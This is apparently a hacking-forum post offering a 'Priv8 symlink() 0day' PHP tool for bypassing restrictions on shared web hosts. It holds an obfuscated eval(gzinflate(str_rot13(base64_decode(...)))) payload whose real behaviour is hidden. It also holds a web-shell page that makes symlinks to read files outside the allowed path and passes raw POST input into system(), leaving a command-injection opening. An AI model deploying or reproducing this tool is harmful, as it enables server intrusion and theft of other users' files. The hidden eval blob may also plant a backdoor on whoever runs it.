Priv8 symlink() 0day coded by NazZ - Phan Anh Buổi Sáng

Code:

<?php
// Symlink ByPass Tool
// NaZZ
// Credits to IT-Sec
eval(gzinflate(str_rot13(base64_decode('Dc7HzptXAEDhx8l/xcIU0xRygYGhGNMxchPRwaYNUH/6m7P/pEZhdvdGX+1DaOlF/qBy/juPC079cSkqmfvfoszHovz5JeWRiqAeCYLkXPSXPW/dH2iwmM6mePL9UdO3NU4CcU+lsUKBJ4vAMtQNooOc7XJmLmlcKrogVKyteYDcvG9PqDcRYptq8V0rcbk2tiAxxe5WLAcRcdkb/22Ys5/HLn5eRxnxQVVN4XhSg0nw1JbZCwW9DxtR/9irfx5sHfrkOXfcViagjvOuiafWfGczt8jEUwXsIqVD7mSOjD2HLSWvSPNSRp021PjR+RBo/GLQBS9HXGpOG91dP9Fhx4bPdMG+6K7bZUqIdGvcliPx/c4AtrjW9tYmvb4NueJ4JS692mVFoCkNGyVqLmYvkc/3RLoTjzGutP6jXN46GtyHas/AR70CMrZAO3IaLmTF52wI6vOTCMbKW2RlG+QBk58z2w20I+hp1AH7U64B+rbt4qDXDqC9GpkIC6MABsbMJq5HyqZFdj86lv0yJuWM3o+vXXQvePRM0UMPPsxmE+Pzgd6Nwjp7kjCCxwGTkR7wRMauXDnDaJNwFxLiXgQtQ+O5ATpyDoEl1l0yTDTemM6zPfNmcGmDAevAF6znx84Z3NzRo1Ui/0daTIsizSZqB9cvQQQsyffFbuZ2Bx9YX1GG/W/AAd/egfW1o0Er8Pw3PbGSk4xC8sqhSqvKREyEh9Ajv8+E7xRgVbW58y5UotFZzC3SstvE4fR5Dp9r3SVywM9kI942jZXFa+zbjWK8b1ZsnNK062babHk+n85LiUe7+djVcChMK76C78xQMuOacpL66tuAAVJf+CSUZoRohk3qjO2cpBuyViynY3PmYygPDUkrkrmBTCZAkHKbAR7R+7lIYsYMztlEyym3fIWtvsXxikeiRsHeGyV87CCdlhB+2uTQTaaX4E3QpgbHdTYMmnVzZJjNyPI81Ra4DUWZa7el7NFUO21Yg2n/KmFGInDmPErtt1ZjI2+5SBuF0eztJjh//vz671+//wc='))));
?>

Code:

<?php
if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
echo '<script>alert("This function does not work on Windows platforms.")</script>';exit;
}else{
$slash="/";
$basep=str_replace("\\","/",$basep);
}
$s=$_SERVER['PHP_SELF'];
echo '<style type="text/css">
body {
background-color:#000000; color:#ffffff; font-family: Agency FB; font-size: 20px; text-align:center;
}
p.head { 
font-family: Agency FB; font-size: 40px;
}
p.text { 
font-family: Agency FB; font-size: 15px;
}
</style>';
echo '<p class="head"><big>Symlink Bypass Tool</big></p>';
echo '<form method=post action="'.$s.'">
<p align="center">
SymLink With PHP<br><input name=ad1syp size=50> << >> <input value="'.getcwd().$slash."symlink.txt".'" name=ad2syp size=50><br><input type=submit value=Submit><p align="center"></form>
<form method=post action="'.$s.'"><p align="center">

SymLink With OS : <br><input name=ad1syc size=50> << >> <input value="'.getcwd().$slash."symlink.txt".'" name=ad2syc size=50><br><input type=submit value=Submit>

</p></form><br><p class="text">© Coded By NaZZ</p>';
if ($_POST['ad1syp'] && $_POST['ad2syp']){
if (symlink($_POST['ad1syp'],$_POST['ad2syp'])){
echo "<script>alert('Symlink Worked')</script>";
}else{
echo "<script>alert('Symlink Not Worked')</script>";
}}
if ($_POST['ad1syc'] && $_POST['ad2syc']){
if (system('ls -s '.$_POST['ad1syc']." ".$_POST['ad2syc'])){
echo "<script>alert('Symlink Worked')</script>";
}else{echo "<script>alert('Symlink Not Worked')</script>";
}} 
?>